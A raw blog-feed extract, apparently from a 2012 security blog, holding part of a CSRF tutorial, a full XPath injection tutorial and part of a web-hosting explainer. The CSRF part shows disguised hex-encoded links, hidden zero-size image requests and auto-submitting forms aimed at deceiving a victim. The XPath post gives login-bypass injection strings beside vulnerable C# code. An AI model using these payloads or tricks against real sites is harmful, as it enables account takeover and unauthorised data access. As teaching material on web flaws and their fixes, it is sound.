&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Why it works?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Because the (vulnerable) sites do not check to see if it&#39;s actually the 
real person making the request or not. There are simple solutions for 
this though, I&#39;ll get into those later.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Proof of concept:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
First, you have to know exactly what&#39;s going on before crafting links 
and getting fancy. Slick sends a link to Smooth in an IM window. He 
tells Smooth how he just uploaded some new pictures a few hours ago, and&lt;br /&gt;
wants someone&#39;s opinion on how they look. In reality, Slick hasn&#39;t been 
logged in since a week ago. That doesn&#39;t really matter though, because 
at the moment, Smooth is logged in. It&#39;s only because he saw pictures&lt;br /&gt;
of Smooth and his girlfriend last month that he&#39;s motivated for such an 
attack. If you didn&#39;t know what I meant by &quot;action&quot;, it&#39;s just something
 being done on a page. One of the easiest ways to exploit CSRF is to 
exploit&lt;br /&gt;
URL&#39;s that use the GET method of requesting(&lt;a class=&quot;externalLink&quot; href=&quot;http://site.com/do_you.php?get=it&quot; target=&quot;_blank&quot;&gt;http://site.com/do_you.php?get=it&lt;/a&gt;) Post is vulnerable too, more on that later.&lt;br /&gt;
&lt;br /&gt;
Here would be the basic link to close Smooth&#39;s account:&lt;br /&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://myimagehostingsite.net/closeAcct.php?confirm=yes&quot; target=&quot;_blank&quot;&gt;http://myimagehostingsite.net/closeAcct.php?confirm=yes&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
Slick wants to make this a done deal though, he knows if Smooth sees 
that, he&#39;ll know something is fishy. He does a little crafting with hex 
encoding.&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://myimagehostingsite.net/%63%6c%6f%73%65%41%63%63%74%2e%70%68%70%3f%63%6f%6e%66%69%72%6d%3d%79%65%73&quot; target=&quot;_blank&quot;&gt;http://myimagehostingsite.net/closeAcct.php?confirm=yes&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Smooth dismisses that as a bunch of mumbo jumbo to do with the site that
 Slick probably doesn&#39;t know anything about, so he clicks the link. 
myimagehostingsite.net doesn&#39;t know how the link came to be or how it&#39;s 
being&lt;br /&gt;
accessed, it just knows it&#39;s being accessed in Smooth&#39;s session. Once he
 is at closeAcct.php and the confirm variable is set to &quot;yes&quot;, the 
account is wiped from the database.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Crafting Examples&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Hex encoding is just one way to disguise a link. Here are a few ways to 
actually hide that a request will be made at all. One common and sneaky 
way to craft the link is to put it inside of an image tag. Unlike the 
case of&lt;br /&gt;
a hyperlink, you don&#39;t have to click it, because it automatically makes an HTTP request on the image when the page loads.&lt;br /&gt;
Here&#39;s what we could put in an html document.&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;img badaction=&quot;value&quot; class=&quot;externalLink&quot; http:=&quot;http:&quot; page.php=&quot;page.php&quot; site.com=&quot;site.com&quot; src=&quot;&amp;lt;a href=&quot; target=&quot;_blank&quot; /&gt;http://site.com/page.php?badaction=value&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;/div&gt;
&quot; width=&quot;0&quot; height=&quot;0&quot;&amp;gt;
	&lt;br /&gt;
&lt;br /&gt;
Notice the width and height are 0, for the reason we don&#39;t want anyone 
noticing the broken image. That might suggest something suspicious is 
going on.&lt;br /&gt;
&lt;br /&gt;
Double click picture to enlarge&lt;br /&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;img em=&quot;em&quot; onmouse=&quot;onmouse&quot; src=&quot;elusive_picture.jpg&quot; /&gt;&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
over=&quot;window.location=&#39;&lt;a class=&quot;externalLink&quot; href=&quot;http://site.com/not-so-elusive-site.php&quot; target=&quot;_blank&quot;&gt;http://site.com/not-so-elusive-site.php&lt;/a&gt;&#39;&quot;&amp;gt;
	&lt;br /&gt;
&lt;br /&gt;
We trick the user into holding the cursor over the image, then they are 
redirected. (Unlikely that a person will view the source before going to
 the page,&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;form action=&quot;&amp;lt;a href=&quot; class=&quot;externalLink&quot; http:=&quot;http:&quot; method=&quot;post&quot; name=&quot;request&quot; site=&quot;site&quot; target=&quot;_blank&quot; vuln_page=&quot;vuln_page&quot;&gt;
http://site/vuln_page&lt;/form&gt;
&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&quot;&amp;gt;  &lt;body em=&quot;em&quot; on=&quot;on&quot;&gt;&lt;/body&gt;load=&quot;request.submit()&quot;&amp;gt;
	&lt;br /&gt;
We gave the name &quot;request&quot; to the form, then submitted it when the page loaded. Still vulnerable with $_POST!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;The Misconception&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Do you think that since GET variables are displayed in the URL and 
submitted once a link is clicked that POST variables are safe from CSRF?
 Well, you wouldn&#39;t be so lucky(depending on how you look at it). 
Attacks like phishing can easily work around using a GET page.&lt;br /&gt;
Javascript is also handy for submitting forms with post fields. Refer to the last example if you didn&#39;t already catch that.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Preventing&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
On the user&#39;s end, they can log out of a site when they aren&#39;t using it,
 that way their session isn&#39;t open for attacks from other users. On the 
coder&#39;s end, it is solved by generating a unique key for an action the 
user could perform&lt;br /&gt;
and only follow through on it if they key equals the right value. On a 
side note, something that won&#39;t prevent but will do damage control if 
you are attacked is to not use the same password for multiple sites. 
This is a bad idea and&lt;br /&gt;
you could get completely screwed over this way.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
instead of&lt;br /&gt;
secure.php?action=something&lt;br /&gt;
a variable is sent and checked before carrying out the action&lt;br /&gt;
secure.php?action=something&amp;amp;token=ad9037jkc00q42&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Closing&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Surprisingly,  I know some people are already knowledgeable on this, but
 hopefully you enjoyed the read anyway. Comments welcome.
				</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/3771492355640057905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/3771492355640057905'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/introduction-to-cross-site-request.html' title='Introduction to Cross Site Request Forgery'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-7658706303315425757</id><published>2012-09-25T02:37:00.002+05:30</published><updated>2012-09-25T02:37:49.727+05:30</updated><title type='text'>XPath Injection Attacks</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;XPath Injection Attacks&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;&quot; KNOWLEDGE IS FREE &quot;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
Website Security XPath Injection Attacks Methodology and Examples...&lt;br /&gt;
&lt;br /&gt;
This will be not my responsibility to how you use this Process.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;XPath Injection Attacks:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;PREREQUISITE -&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
- Basic Programming Skills and Data manipulation in XML (Extensible Markup Language) and XPath.&lt;br /&gt;
- Basic Knowledge of Web Applications&#39; Input Vulnerabilities and Sanitisation Methods&lt;br /&gt;
- Beginner level Understanding of Client/Server Communication Protocol and Authentication Procedure&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;b&gt;SUGGESTED KNOWLEDGE -&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
- Intermediated Understanding of ASP.NET, JAVA and/or C# Code and Web Programming&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;PURPOSE -&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
- Attack used to Extract data from XML Databases/documents&lt;br /&gt;
- Manipulate Data from local/remote location to Server (Victim)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;b&gt;DEFINITIONS -&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #3366ff;&quot;&gt;&lt;b&gt;[1]&lt;/b&gt;&lt;/span&gt;&quot;XPath injection is an 
attack targeting Web sites that create XPath queries from user-supplied 
data. If an application embeds unprotected data into an XPath query, the
 query can be altered so that it is no longer parsed in the manner 
originally intended. This can be done by bypassing the Web site 
authentication system and extracting the structure of one or more XML 
documents in the site.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #3366ff;&quot;&gt;&lt;b&gt;[2]&lt;/b&gt;&lt;/span&gt;&quot;XPath 1.0 is a language 
used to refer to parts of an XML document. It can be used directly by an
 application to query an XML document, or as part of a larger operation 
such as applying an XSLT transformation to an XML document, or applying 
an XQuery to an XML document.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Similar to SQL Injections, XPath injections manipulate data on XML 
databases. Therefore, an analogy can be created to relate the two 
injection methods. They share many things in common, such as the use of 
regex expres&lt;i&gt;&lt;/i&gt;sions, and, most importantly, their 
payload; in this case, to obtain data from a server locally, or in most 
cases remotely from the client.&lt;br /&gt;
&lt;br /&gt;
Assuming, you know XML and XPATH, we&#39;re going to dive directly into the 
attack Methodology by using examples of exploitable vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;1ST EXAMPLE:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
Similarities to SQL...&lt;br /&gt;
&lt;br /&gt;
In SQL, we use regex expres&lt;i&gt;&lt;/i&gt;sions to &quot;trick&quot; the server, by passing (somewhat) malicious input to it, like:&lt;br /&gt;
&lt;br /&gt;
if the login system was setup as follows:&lt;br /&gt;
Select * from users where LoginID=&#39; &#39; and passwd=&#39; &#39;&lt;br /&gt;
&lt;br /&gt;
we can exploit as such:&lt;br /&gt;
abc&#39; or 1=1 --&lt;br /&gt;
&lt;br /&gt;
and we&#39;ll have a payload or desired input query passed to the server to execute our input, thus making it be:&lt;br /&gt;
Select * from users where LoginID = &#39;abc&#39; or 1=1 -- &#39;and passwd=&#39; &#39;&lt;br /&gt;
&lt;br /&gt;
we commented out the password requirement, and passed only our LoginID, which turns out to be TRUE.&lt;br /&gt;
&lt;br /&gt;
The Same concept applies to XML databases/documents with a XPath Injections...&lt;br /&gt;
That same code, when translated to XPath, becomes:&lt;br /&gt;
&lt;br /&gt;
For the Insecure/exploitable Login System, accepts input as follows:&lt;br /&gt;
String(//users[LoginID/text()=&#39; &quot; + txtLoginID.Text + &quot; &#39; and passwd/text()=&#39; &quot;+ txtPasswd.Text +&quot; &#39;])&lt;br /&gt;
&lt;br /&gt;
Now, we type into the LoginID:&lt;br /&gt;
abc&#39; or 1=1 or &#39;a&#39;=&#39;b&lt;br /&gt;
&lt;br /&gt;
Thus, also suppressing the need to type in a password, and turns our 
loginID into a valid one from the database/document in XML. Like:&lt;br /&gt;
String(//users[LoginID/text()=&#39;abc&#39; or 1=1 or &#39;a&#39;=&#39;b&#39; and passwd/text()=&#39;&#39;])&lt;br /&gt;
&lt;br /&gt;
We get a payload/desired input query passed as:&lt;br /&gt;
LoginID=&#39;abc&#39; or 1=1 or &#39;a&#39;=&#39;b&#39; and passwd/text()=&#39; &#39;&lt;br /&gt;
&lt;br /&gt;
(which can also be represented, logically, as A OR B OR C AND D)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;2ND EXAMPLE:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
More complex Procedure...&lt;br /&gt;
&lt;br /&gt;
Insecure/Exploitable Code in XML:&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
Xmldocument XmlDoc = new Xmldocument();&lt;br /&gt;
XmlDoc.Load(&quot;...&quot;);&lt;br /&gt;
XPathNavigator nav = XmlDoc.CreateNavigator();&lt;br /&gt;
XPathexpres&lt;i&gt;&lt;/i&gt;sion expr = nav.Compile(&quot;string(&lt;br /&gt;
//user[name/text()=&#39;&quot;+TextBox1.Text+&quot;&#39; and password/text()=&#39;&quot;+TextBox2.Text+ &quot;&#39;]/account/text())&quot;);&lt;br /&gt;
String account=Convert.ToString(nav.Evaluate(expr));&lt;br /&gt;
if (account==&quot;&quot;) {&lt;br /&gt;
// name+password pair is not found in the XML document -&lt;br /&gt;
// login failed. }&lt;br /&gt;
else {&lt;br /&gt;
// account found -&amp;gt; Login succeeded.&lt;br /&gt;
// Proceed into the application. }&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
for the username query, we place this injection:&lt;br /&gt;
&#39; or 1=1 or &#39;&#39;=&#39;&lt;br /&gt;
&lt;br /&gt;
As a payload, we get this code parsed and executed by the server:&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
string(//user[name/text()=&#39;&#39; or 1=1 or &#39;&#39;=&#39;&#39; and password/text()=&#39;foobar&#39;]/account/text())&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
Tada! Now, We get an output result of:&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
string(//user/account/text())&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
In other words, we have an instance of&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
//user/account/text()&lt;/blockquote&gt;
&lt;/aside&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
What this does is log us in as the first user in the XML document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;CONCLUSION -&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Hope you got something from this article. I will try to write an article
 on XML/XPath programming in the Future (if time allows).&lt;br /&gt;
But for now, learn at your own pace, and explore the depths of this 
notorious, yet esoteric attack. I also urge you to try a combination or 
blind injections, when you have time on your hands. For beginners, I 
hope this sparks your interest and hunger for more knowledge;, which m 
by the ware, are my favorite here.&lt;br /&gt;
&lt;br /&gt;
Truly doing something fishy,&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #99cc00;&quot;&gt;- NETFISH.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #ff9900;&quot;&gt;WORKS CITED:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://en.hakin9.org/attachments/xpath_new_en.pdf&quot; target=&quot;_blank&quot;&gt;http://en.hakin9.org/attachments/xpath_new_en.pdf&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://palisade.plynt.com/issues/2005Jul/xpath-injection/&quot; target=&quot;_blank&quot;&gt;http://palisade.plynt.com/issues/2005Jul/xpath-injection/&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml&quot; target=&quot;_blank&quot;&gt;http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://www.spidynamics.com/spilabs/education/articles/code-injection.html&quot; target=&quot;_blank&quot;&gt;http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://searchappsecurity.techtarget.com/sDefinition/0,,sid92_gci1193384,00.html&quot; target=&quot;_blank&quot;&gt;http://searchappsecurity.techtarget.com/sDefinition/0,,sid92_gci1193384,00.html&lt;/a&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/7658706303315425757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/7658706303315425757'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/xpath-injection-attacks.html' title='XPath Injection Attacks'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-8180790143353812368</id><published>2012-09-25T02:34:00.002+05:30</published><updated>2012-09-25T02:34:51.482+05:30</updated><title type='text'>EVERYTHING ABOUT WEB-HOSTING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-family: &#39;courier new&#39;;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;EVERYTHING ABOUT WEB-HOSTING&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
            If you&#39;re new to the world of creating websites, you might 
find yourself asking yourself &quot;What Is Web Hosting?&quot;. Maybe you have 
some idea about what hosting is but you&#39;re not too sure. Fortunately &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;for me!&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;, the question &quot;What is web hosting&quot; is a relatively easy one to explain &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;I think!&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
Now before I get into this, I worked really hard on this for all of you!
 So to all of the people in this world if you look at this and say its 
too long. &lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Remember&lt;/b&gt;&lt;/span&gt; reading is
 the key to everything here, take the time read this tutorial don&#39;t over
 look anything it really makes it easy to understand. If you have any 
questions let me know!&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Web hosting&lt;/b&gt;&lt;/span&gt; refers to a 
service that makes your website available to your users. In general, 
most websites are intended to be viewed by anyone on the Internet, at 
any time. If you want anyone on the Internet to be able to view your 
website at any time, you need to make sure your website is running on a 
computer which is connected to the Internet 24 hours per day, 7 days per
 week &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;24/7&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: darkorange;&quot;&gt;To do this you have two options.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Option 1:&lt;/b&gt;&lt;/span&gt; Hosting the Website Yourself&lt;br /&gt;
Hosting the website yourself means that you will need to have the right 
equipment, including a web server and a permanent connection to the 
Internet. You would need to ensure that your Internet service provider &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;ISP&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;
 allows this type of usage too. You would also need to have website 
administration skills such as managing/configuring a web server, patch 
management, firewalls, virus protection etc&lt;br /&gt;
&lt;br /&gt;
Most people don&#39;t do their own website hosting. Even if they have the 
skills or equipment, it often makes more sense to hand this task to a 
third party who can monitor the website 24/7.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Option 2:&lt;/b&gt;&lt;/span&gt; Find a Hosting Provider to Host your Website&lt;br /&gt;
This is the most common choice for web hosting. Using a third party 
hosting provider allows you to concentrate on developing your website &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;or whatever else it is you may do&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;, and leave the hosting tasks up to a company who &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;presumably&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt; specializes in web hosting.&lt;br /&gt;
&lt;br /&gt;
A good web hosting company will provide at least the following services:&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;24/7 support&lt;/li&gt;
&lt;li&gt;24/7 FTP access &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;so you can update your website&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;A number of email accounts &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;i.e. &lt;a href=&quot;mailto:yourName@yourDomain.com&quot;&gt;yourName@yourDomain.com&lt;/a&gt;&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Online control panel for managing your website&lt;/li&gt;
&lt;li&gt;Online traffic statistics &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;so you can see how much traffic your website receives&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;A robust database management system, such as MySQL or MS SQL. This is so you can add your own database if required&lt;/li&gt;
&lt;li&gt;If
 you require specialized server application software such as ColdFusion,
 SQL Server, or PHP, you will need to check that the hosting provider 
supports this.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
Once you start looking for a web hosting provider, you will notice there
 is a very large difference in how much they charge. You will also 
notice that most web hosts have multiple hosting plans, each at 
different prices. Any good web host will allow you to upgrade a plan 
later on if required, so don&#39;t feel as though you need to start off on a
 plan that costs more than you need.&lt;br /&gt;
&lt;br /&gt;
Example of a Hosting Provider&lt;br /&gt;
An example of a web hosting company with amazing prices is &lt;a class=&quot;externalLink&quot; href=&quot;http://solidshellsecurity.com/?affy=271&quot; target=&quot;_blank&quot;&gt;SolidShell Security&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
You&#39;ll also find that you can get special deals by bundling your domain name with your hosting &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;i.e. purchasing both at the same time&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;. If you&#39;re on a tight budget, deals like this can really make a difference when starting out with your website.&lt;br /&gt;
&lt;br /&gt;
You can also get a hosting plan with an online website builder included.
 This is perfect for anyone who doesn&#39;t want to learn the technical 
aspects of creating a website.&lt;br /&gt;
&lt;br /&gt;
OK, so now that we&#39;ve looked at what web hosting is, let&#39;s look at the different types of web hosting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When searching for a hosting provider to host your website, you&#39;ll 
probably notice that most hosting providers have more than one web 
hosting plan. The plan you choose will depend on your hosting needs.&lt;br /&gt;
&lt;br /&gt;
If you&#39;re just starting out with your own website, a shared hosting plan
 is usually fine. Shared hosting is usually much cheaper than other 
hosting plans. Unless you have a specific need to hire a dedicated 
server, a shared hosting plan should do the trick.&lt;br /&gt;
&lt;br /&gt;
Here&#39;s more about the different types of web hosting:&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Shared Hosting&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;Shared
 hosting refers to when your web site is hosted on a server along with 
many other customers&#39; web sites. Don&#39;t worry, your users won&#39;t know this
 - your web site is still configured as a separate web site on the 
server and can still have its own domain name etc.&lt;/li&gt;
&lt;li&gt;It is simply sharing the server with other web sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The benefit of shared hosting is price. Having your own server &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;otherwise known as a &quot;dedicated server&quot;&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt; costs a lot more. Unless you get lots of traffic, it doesn&#39;t make sense to pay more for a dedicated server.&lt;br /&gt;
&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Dedicated Servers&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
A dedicated server is a server that hosts only your web site (or web 
sites). This can give you more control over your web site. It can also 
help in ensuring that other customers&#39; web sites don&#39;t impact on your 
web site. Using dedicated servers is much more expensive than shared 
hosting, but if your site receives lots of traffic or you have other 
requirements &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;such as extra security requirements&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;, a dedicated server could be for you.&lt;br /&gt;
&lt;br /&gt;
You are able to log in to your dedicated server just as you would log in
 to your own computer. Once logged in, you can install and configure 
software as you wish.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Virtual Dedicated Servers&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Also known as virtual private servers, virtual dedicated servers are a 
low-cost alternative to dedicated servers. The web host can put many 
virtual servers on each machine, therefore reducing costs. When you log 
in to the virtual server, it appears as though you have your own 
dedicated server &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;even though other virtual servers are probably running on the same machine&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Managed Hosting&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
A managed hosting solution is a form of dedicated server hosting, where 
you have a dedicated server and the web site hosting provider manages 
